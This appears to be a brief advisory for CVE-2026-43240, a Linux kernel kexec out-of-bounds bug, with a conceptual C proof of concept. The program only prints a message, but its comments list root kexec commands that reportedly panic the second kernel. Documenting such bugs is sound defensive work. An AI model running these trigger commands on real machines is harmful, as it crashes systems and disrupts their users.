CVE-2026-43240 Linux内核kexec缓冲区越界导致崩溃

/* * PoC Concept: Trigger kernel panic via kexec with memory limit. * Requires root privileges to perform kexec. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { // This is a conceptual representation. // In a real scenario, an attacker would load a kernel with kexec // using a restricted memory map (e.g., kexec -l --command-line='mem=512M' ...). printf("Simulating kexec load with memory restriction...\n"); // Command to trigger the vulnerability (requires root): // kexec -l /boot/vmlinuz --command-line="mem=512M" --initrd=/boot/initrd.img // kexec -e // The second kernel will panic when trying to access the IMA buffer // located outside the 512MB limit. return 0; }